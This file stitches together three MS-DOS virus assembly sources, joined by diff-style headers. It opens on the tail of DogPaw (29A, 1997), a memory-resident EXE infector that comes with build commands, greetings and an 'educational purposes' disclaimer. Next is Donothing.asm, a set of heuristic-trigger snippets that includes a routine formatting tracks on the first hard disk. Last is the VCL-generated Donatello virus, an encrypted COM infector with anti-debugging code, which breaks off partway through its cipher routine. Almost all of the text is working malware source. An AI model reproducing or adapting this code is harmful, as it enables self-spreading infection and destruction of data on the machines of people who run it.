; and i was so nervous that i almost crashed twice: the first time with a
; huge big garbage truck (yea even tho i wear glasez) and the second time
; with a little grandma crossin down the street. Shit.. that was enough for
; the day, i didnt want to kill anybody nor get killed at worst, so i deci-
; ded to go back home. I turned on the radio and started to sing "the side-
; winder sleeps tonight" by R.E.M. Yea i was havin a great time even tho i
; had been about to crash twice. Why did i have to open my mouth! Just when
; i was about to turn right at the next block i heard a suden "crash" follo-
; wed by two "squeeze.." "squeeze.." feelin two "up-and-down's" on the right
; tirez. Shit what da hell was that..? i looked back thru the front mirror
; just to know the answer. On the road i had left behind, there lied a poor
; crushed dog. Ohh shit i crushed a dog! Now from time to time when that
; scene comes to my mind, all i see is that unfortunate squeezed dog wavin
; goodbye with his paw.. the poor dog paw. #8I
;
;
; Greetingz
; ÄÄÄÄÄÄÄÄÄ
; And finaly the greetingz go to:
;
; Casio ......... Yer Rusty was kewl.. but throw 'way that ASIC dude!
; Tcp/29A ....... Wooow! yer disasembliez rock man.. really rock!
; Spanska ....... Dont get drunk too often ;) greetingz to Elvira..
; Reptile/29A ... Not even a garden full of ganja can stop ya heh #8S
; Rilo .......... Confess budie: Rilo Drunkie + Belch = Car crash ;)
; Liquiz ........ Still watin to see that poly of yourz.. #8)
;
;
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This source code is for educational purposez only. The author is not res-
; ponsible for any problemz caused due to the assembly of this file.
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm -ml -m5 -q -zn dogpaw.asm
; tlink -t -x dogpaw, dogpaw.exe
;
;
; (c) 1997 Jacky Qwerty/29A.
.model tiny
.286
include useful.inc
include MZ.inc
v_mark equ 'GD' ;virus mark
v_size_bytes equ v_end - v_start ;virus size in bytez
b_size_bytes equ v_size_bytes ;bufer size in bytez
s_size_bytes equ 100h ;stack size in bytez
v_size_words equ (v_size_bytes + 1) / 2 ;virus size in wordz
v_size_paras equ (v_size_bytes + 15) / 16 ;virus size in paragraphz
v_size_sects equ (v_size_bytes + 511) / 512 ;virus size in sectorz
v_size_kilos equ (v_size_bytes + 1023) / 1024 ;virus size in kilobytez
v_size_div_512 equ v_size_bytes / 512 ;virus size div 512
v_size_mod_512 equ v_size_bytes \ ;virus size mod 512
- (512 * v_size_div_512) ;
m_size_bytes equ v_size_bytes + (b_start \ ;memory size in bytez
- v_end) + b_size_bytes \ ;
+ s_size_bytes ;
m_size_words equ (m_size_bytes + 1) / 2 ;memory size in wordz
m_size_paras equ (m_size_bytes + 15) / 16 ;memory size in paragraphz
.code
org 100h
v_start:
MZ_Header IMAGE_DOS_HEADER < \ ;MZ header start
IMAGE_DOS_SIGNATURE, \ ;MZ_magic
v_size_mod_512, \ ;MZ_cblp
v_size_sects, \ ;MZ_cp
0, \ ;MZ_crlc
0, \ ;NZ_cparhdr
m_size_paras, \ ;MZ_minalloc
m_size_paras, \ ;MZ_maxalloc
-11h, \ ;MZ_ss
(m_size_bytes + 111h) and -2 \ ;MZ_sp
v_mark, \ ;MZ_csum
entry_point, \ ;MZ_ip
-10h \ ;MZ_cs
>
org (v_start + MZ_lfarlc)
old_MZ_low_ptr dw 0
old_MZ_high_ptr dw 0
c_start:
Copyright db 'D' xor 66h
db 'o' xor 66h
db 'g' xor 66h
db 'P' xor 66h
db 'a' xor 66h
db 'w' xor 66h
db ' ' xor 66h
db 'J' xor 66h
db 'x' xor 66h
db 'Q' xor 66h
db '/' xor 66h
db '2' xor 66h
db '9' xor 66h
db 'A' xor 66h
db 0 xor 66h
common_clean_ds:
push cs
pop ds
mov ds:[flag],al
common_clean: test al,? ;clear carry (clean file)
org $ - 1
common_infect: stc ;set carry (infect file)
pusha
mov bp,offset clean + 1
jnc common
mov si,dx
mov bp,offset infect + 1
cld
@endsz
std
lodsw
lodsw
cld
and al,not 20h
add al,-'E' ;check for EXE extension
jnz to_popa_ret
lodsw
and ax,not 2020h
add ax,-'XE'
jnz to_popa_ret
common: ;this function cleans or infects a file
;on exit:
; flag = 0, if error
mov ax,3D00h
call call_int_21 ;open file in read/only mode
jc to_popa_ret
xchg bx,ax
push ds dx
call ptr2begin ;move file pointer to begin of file
jc end_close
push cs
pop ds
call read ;read first 720 bytez
jc end_close
cmp word ptr [si.MZ_csum],v_mark ;check infection
jnz end_close_clc
mov ax,[si.MZ_magic]
cmp word ptr [si.MZ_maxalloc],m_size_paras
jnz end_close_clc
add ax,-IMAGE_DOS_SIGNATURE ;check MZ signature
end_close_clc: clc
end_close: pushf
mov ah,3Eh
call call_int_21 ;close file
pop ax
dec bp
lahf
pop dx
or al,ah
shl ah,4
pop ds
xor ah,al
sahf
jbe end_popa_ret ;if (carry or zero)
mov ax,4300h ;save old file atributes
call call_int_21
to_popa_ret: jc end_popa_ret
push ds
mov si,4*24h-80h
call get_int
pop ds
pusha ;ax, bx, si
mov bx,cs
mov ax,offset new_24
call set_int
push cx
mov cl,20h ;set read/write file atributes
mov ax,4301h
call call_int_21
pop cx
jc end_2popa_ret
mov ax,3D02h ;open file in read/write mode
call call_int_21
jc restore_atrib
pusha ;cx, dx
xchg bx,ax
mov ax,5700h ;get data & time
call call_int_21
jc close_file
push ds es
pusha
push cs cs
pop ds es
mov si,offset b_start
lea di,[si + old_MZ_low_ptr - v_start]
call bp ;clean or infect
jc err_file
mov ds:[flag],al ;al!=0 (check this while debugin)
err_file: popa
pop es ds
mov ax,5701h ;set data & time
call call_int_21
close_file: mov ah,3Eh ;close file
call call_int_21
popa
restore_atrib: mov ax,4301h ;restore old atributes
call call_int_21
end_2popa_ret: popa
call set_int
end_popa_ret: popa
end_ret: ret
infect proc ;infects a file
mov cx,b_size_bytes
cld ;encrypt old MZ header
encrypt: lodsb
ror al,cl
xor al,0C5h
mov [si-1],al
loop encrypt
mov ax,4202h ;move file pointer to end of file
cwd
call call_int_21
jc end_ret
pusha
call write ;write old MZ header to end of file
jc end_popa_ret
lodsw ;move virus code to buffer area
xchg dx,di
mov si,offset v_start
mov ds:[old_MZ_Magic],ax
cld
move_virus: lodsb
stosb
loop move_virus
popa
stosw ;hardcode file location in virus code
xchg ax,dx ;
stosw ;
jmp ptr2new ;move file pointer to actual MZ header
infect endp
get_int: ;gets an interrupt vector
;on entry:
; SI = int number * 4
; DS = 0
;on exit:
; DX:AX = int vector adress retrieved
push 8
pop ds
mov bx,[si+2]
mov ax,[si]
ret
clean proc ;cleans an infected file
mov cx,[di + 2] ;old_MZ_high_ptr
mov dx,[di] ;old_MZ_low_ptr
pusha
call ptr2old ;move file pointer to old MZ header
jc end_popa_ret
call read ;read old MZ header
jc end_popa_ret
cmp word ptr [si.MZ_magic],1234h ;check old MZ header
old_MZ_Magic = word ptr $-2
stc
jnz end_popa_ret
cld ;decrypt old MZ header
decrypt: lodsb
xor al,0C5h
rol al,cl
mov [si-1],al
loop decrypt
popa
call ptr2old ;move file pointer to old MZ header
jc ptr2new
sub cx,cx
mov ah,40h ;remove old MZ header from end of file
call call_int_21
ptr2new: call ptr2begin ;move file pointer to actual MZ header
jc end_clean
write: mov ah,40h ;write MZ header
cmp ax,?
org $-2
read: mov ah,3Fh ;read MZ header
mov dx,offset b_start
mov cx,b_size_bytes
call call_int_21
jc end_rd_wr
cmp ax,cx
mov si,dx
end_rd_wr:
end_clean: ret
clean endp
entry_point: mov ax,30AFh
x = 4*21h-80h
push x
mov di,offset old_int_21 ;check if already installed
int 21h
cld
pop si
add al,-0AFh
mov bp,si
jz already ;yea we're instaled, jump
push ds ;hook int 21h & stay resident
call get_int
mov [1+bp-x+si-x],ds
stosw
pop ax
xchg ax,bx
stosw
mov ax,offset new_int_21
call set_int
already: push di
mov ds,[2Ch+10h+bp-x] ;get program filename
get_prog: inc si
cmp [si],bp
jnc get_prog
lea si,[si+4+bp-x]
pop dx
@copysz
call common_clean_ds ;clean infected program
exec: cmp al,ds:[flag] ;prevent circular execution
jz exit
push ds
mov bx,offset p_block ;execute program
mov ah,0Dh
call call_int_21
mov [bx+4],ds
mov [bx+8],cs
pusha
mov [bx+0Ch],es
mov ax,4B00h
call call_int_21
popa
mov ah,4Dh
call call_int_21
pop ds
call common_infect
exit: mov ah,4Ch ;exit to DOS
jmp call_int_21
p_block dw 0 ;parameter block to be used by 4B00h
dw 80h
dw ?
dw 5Ch
dw ?
dw 6Ch
dw ?
new_24: mov al,3
iret
ptr2begin: xor dx,dx ;move file pointer to actual MZ header
mov cx,dx
ptr2old: mov ax,4200h
call_int_21: pushf ;call old INT 21h
push cs
call jmp_int_21
ret
set_int: ;sets an interrupt vector
;on entry:
; SI = int number * 4
; DS = 0
; DX:AX = int vector adress to store
push ds
push 8
pop ds
mov [si+2],bx
mov [si],ax
pop ds
ret
infect_on_close: ;infect on file close
push ds es
pusha
mov bp,sp
push cs bx
mov ax,1220h
int 2Fh ;use file system tablez
jc fail_dcb
mov bl,es:[di]
cmp bl,-1
cmc
jc fail_dcb
mov ax,1216h
int 2Fh
fail_dcb: pop bx ds
pushf
mov ah,3Eh
call call_int_21 ;close file
mov [bp.Pusha_ax],ax
pop ax
jc fail_close
shr al,1
jc fail_close_clc
mov ax,':'*100h + mask BDA_DriveNumber
and al,byte ptr es:[di.DCB_DeviceAtribs]
mov dl,al
sub al,-'A'
mov si,offset program_name + 3
mov [si-3],ax
inc dx
mov ah,47h
call call_int_21 ;get current directory
jc fail_close_clc
cld
dec si
push es si ds
lea si,[di.DCB_FileName]
mov al,'\'
pop es di
stosb
add al,-'\' ; al=0
scasb
jnz $ - 1
sub al,-'\' ; al='\'
dec di
mov cx,size DCB_FileName + 1
cmp al,[di-1]
pop ds
push si
jz $+3
copy_name: stosb ;atach file name to path
lodsb
cmp al,20h
loopnz copy_name
pop si
mov al,'.'
mov cl,size DCB_FileExt + 1
sub si,- size DCB_FileName
copy_ext: stosb ;atach file extension to file name
lodsb
cmp al,20h
loopnz copy_ext
xor al,al
stosb
push cs
pop ds
mov dx,offset program_name
call common_infect ;infect the file
fail_close_clc: clc
fail_close: popa
pop es ds
retf 2
on_close: jmp infect_on_close
self_check: cmp di,offset old_int_21
jnz jmp_int_21
mov si,di
cld
movs word ptr es:[di],cs:[si] ;copy old int 21h
movs word ptr es:[di],cs:[si] ;
go_iret: iret
new_int_21: cli ;new INT 21h service routine
push ax ;antitrace.. dont fuck with me
push -1
inc sp
dec sp
pop ax
inc ax
pop ax
sti
jnz go_iret
chk_3E: cmp ah,3Eh ;close?
jz on_close
chk_30: cmp ax,30AFh ;are we already installed?
jz self_check
chk_4B: cmp ah,4Bh ;execute?
jnz chk_3D
call common_infect
chk_3D: cmp ah,3Dh ;open?
jnz jmp_int_21
call common_clean
jmp_int_21: db 0EAh ;JMP SEG:OFF opcode
v_end: ;virus end on filez
old_int_21 dd ? ;old INT 21h vector
program_name db 80h dup (?) ;buffer to hold program namez
flag db ? ;used to prevent circular execution
b_start: ;start of internal buffer
end v_start
@@ -0,0 +1,207 @@
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;
; Donothing.asm
; By K”hntark
; DATE: NOV 93
;
; Assemble with TASM 2.X
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
MAIN SEGMENT BYTE
ASSUME cs:main,ds:main,ss:nothing
org 100h
DONUTHIN:
VIRUS:
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; J-Flag - Suspicious Jump construct
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
jmp THERE
THERE: jmp HERE
HERE:
mov dx,Offset MSG
mov ah,09
int 21h ;display message
int 20h ;PROGRAM NEVER GETS EXECUTED BEYOND THIS POINT!!
;This is SHMISTICS!
MSG db 'Please scan this file with TBSCAN!$'
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; E-Flag - Flexible Entry Point
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
call HAHA
HAHA: pop si
sub si,3
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; O-Flag - Code Overwrite
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;Restore COM host
mov di,0100h
push di
movsw
movsw ;from ds:si to es:di
;------- O flag -------
; ret ;return to host
;------- R flag -------(see below)
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; R-Flag - Suspicious Relocator
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
push di ;save return address
movsw ;restore host
movsw ;from ds:si to es:di
ret ;return to host
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; A-Flag - Suspicious Memory Allocation
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
mov BYTE PTR ds:0000,'M'
mov cx,23h ;23h * 16 = 560
sub ds:0012h,cx
sub ds:0003,cx
mov ax,ds:0003 ;
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; F-Flag - Suspicious file access
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;Restore date and time of file to be infected
mov ax,5701h
mov dx,WORD PTR [si + F_DATE - VIRUS]
mov cx,WORD PTR [si + F_TIME - VIRUS]
int 21h
;Restore file's attributes
lea dx,[si + FNAME - VIRUS] ;get filename
mov cx,[si + ATTR - VIRUS] ;get old attributes
mov ax,4301h ;set file attributes to cx
int 21h
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; S-flag - Search for COM and EXE
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
db '*.COM',0
db '*.EXE',0
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; L-flag - Trap Software's loading
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;simulated resident int21h trap:
pushf ;save flags
push cs
pop es ;ES=CS
cmp ah,4Bh ;load and execute program
je KILL
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; D-flag - Disk Write Access
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
mov ch,0 ;ch=track or cylinder = cx
KILL:
mov ah,5 ;ah=function, al = interleave
mov dh,0 ;dh=head
mov dl,80h ;dl=drive 0
int 13h ;format track
inc ch ;increase track
cmp ch,20h ;track 20h?
loopnz KILL ;no? keep on formating
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; M-flag - Memory Resident Code
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
mov ax,2521h ;DOS Services ah=function 25h
mov dx,offset kill
int 21h ;set intrpt vector al to ds:dx
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; U-Flag - Undocumented DOS call
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
mov dx,5945h
mov ax,0FA01h
int 21h
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; G-Flag - Garbage Instructions
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
add ax,34
add bx,34
int 65h
add cx,35
add dx,45
add si,23
add di,34
nop
nop
nop
nop
nop
add ax,34
add bx,34
add cx,35
add dx,45
add si,23
add di,34
nop
nop
nop
nop
nop
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Z-Flag - EXE / COM determination
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
cmp WORD PTR [si + START_CODE - VIRUS],'ZM' ;EXE file?
je CONT2 ;no? check com
cmp WORD PTR [si + START_CODE - VIRUS],'MZ' ;EXE file?
jne CHECK_COM ;no? check com
CONT2:
CHECK_COM:
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; B-Flag - Back to Entry Point
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
mov si,0100h
push si
ret
ENDVIRUS equ $
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
START_CODE db 5 dup (?)
HOST_STUB db 00
ATTR dw 0
F_DATE dw 0
F_TIME dw 0
FNAME db 13 dup (?)
ZIZE equ OFFSET ENDVIRUS - OFFSET VIRUS
MAIN ENDS
END DONUTHIN
@@ -0,0 +1,417 @@
; DONTELLO.ASM -- Donatello Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
lea bx,[di + null_vector] ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
call get_random
mov cx,0014h ; CX holds the divisor
cwd ; Sign-extend AX into DX:AX
div cx ; Divide AX by CX
or dx,dx ; Is the remaindier zero?
jne skip00 ; If not equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: lea si,[di + data00] ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
end00: call get_random
mov cx,0064h ; CX holds the divisor
cwd ; Sign-extend AX into DX:AX
div cx ; Divide AX by CX
or dx,dx ; Is the remaindier zero?
jne skip01 ; If not equal, skip effect
jmp short strt01 ; Success -- skip jump
skip01: jmp end01 ; Skip the routine
strt01: xor ah,ah ; BIOS get time function
int 1Ah
xchg dx,ax ; AX holds low word of timer
mov dx,0FFh ; Start with port 255
out_loop: out dx,al ; OUT a value to the port
dec dx ; Do the next port
jne out_loop ; Repeat until DX = 0
end01: mov cx,0003h ; Do 3 infections
search_loop: push cx ; Save CX
call search_files ; Find and infect a file
pop cx ; Restore CX
loop search_loop ; Repeat until CX is 0
jmp short strt02 ; Success -- skip jump
skip02: jmp end02 ; Skip the routine
strt02: push es ; Save ES
mov ax,050h ; Set the extra segement to
mov es,ax ; the BIOS area
mov byte ptr es:[0000h],1 ; Set print screen flag to
pop es ; "printing," restore ES
end02:
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
db 0E2h,065h,076h,0A4h,0A6h
search_files proc near
mov bx,di ; BX points to the virus
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,135 ; Allocate 135 bytes on stack
mov byte ptr [bp - 135],'\' ; Start with a backslash
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 134] ; SI points to 64-byte buffer
int 021h
call traverse_path ; Start the traversal
traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful?
je done_searching ; If so then we're done
call found_subdir ; Otherwise copy the subdirectory
mov ax,cs ; AX holds the code segment
mov ds,ax ; Set the data and extra
mov es,ax ; segments to the code segment
xor al,al ; Zero AL
stosb ; NULL-terminate the directory
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 70] ; DX points to the directory
int 021h
lea dx,[bx + com_mask] ; DX points to "*.COM"
push di
mov di,bx
call find_files ; Try to infect a .COM file
mov bx,di
pop di
jnc done_searching ; If successful the exit
jmp short traversal_loop ; Keep checking the PATH
done_searching: mov ah,03Bh ; DOS change directory function
lea dx,[bp - 135] ; DX points to old directory
int 021h
cmp word ptr [bx + path_ad],0 ; Did we run out of directories?
jne at_least_tried ; If not then exit
stc ; Set the carry flag for failure
at_least_tried: mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
com_mask db "*.COM",0 ; Mask for all .COM files
search_files endp
traverse_path proc near
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
xor di,di ; DI holds the starting offset
find_path: lea si,[bx + path_string] ; SI points to "PATH="
lodsb ; Load the "P" into AL
mov cx,08000h ; Check the first 32767 bytes
repne scasb ; Search until the byte is found
mov cx,4 ; Check the next four bytes
check_next_4: lodsb ; Load the next letter of "PATH="
scasb ; Compare it to the environment
jne find_path ; If there not equal try again
loop check_next_4 ; Otherwise keep checking
mov word ptr [bx + path_ad],di ; Save the PATH address
mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment
ret ; Return to caller
path_string db "PATH=" ; The PATH string to search for
path_ad dd ? ; Holds the PATH's address
traverse_path endp
found_subdir proc near
lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH
lea di,[bp - 70] ; DI points to the work buffer
push cs ; Transfer CS into ES for
pop es ; byte transfer
move_subdir: lodsb ; Load the next byte into AL
cmp al,';' ; Have we reached a separator?
je moved_one ; If so we're done copying
or al,al ; Are we finished with the PATH?
je moved_last_one ; If so get out of here
stosb ; Store the byte at ES:DI
jmp short move_subdir ; Keep transfering characters
moved_last_one: xor si,si ; Zero SI to signal completion
moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address
ret ; Return to caller
found_subdir endp
db 095h,001h,027h,07Eh,08Fh
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
db 02Ch,015h,0BFh,02Dh,0F2h
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
db 0C4h,003h,038h,043h,07Fh
get_random proc near
xor ah,ah ; BIOS get clock count function
int 01Ah
xchg dx,ax ; Transfer the count into AX
ret ; Return to caller
get_random endp
data00 db "Cowabunga, dudes! It's Donatello!",13,10
db "(Hey, John, can I be on Nightline too?)",13,10,0
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "[Donatello]",0
db "Nowhere Man, [NuKE] '92",0
db "Hey, Donatello, be like Mike!",0
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
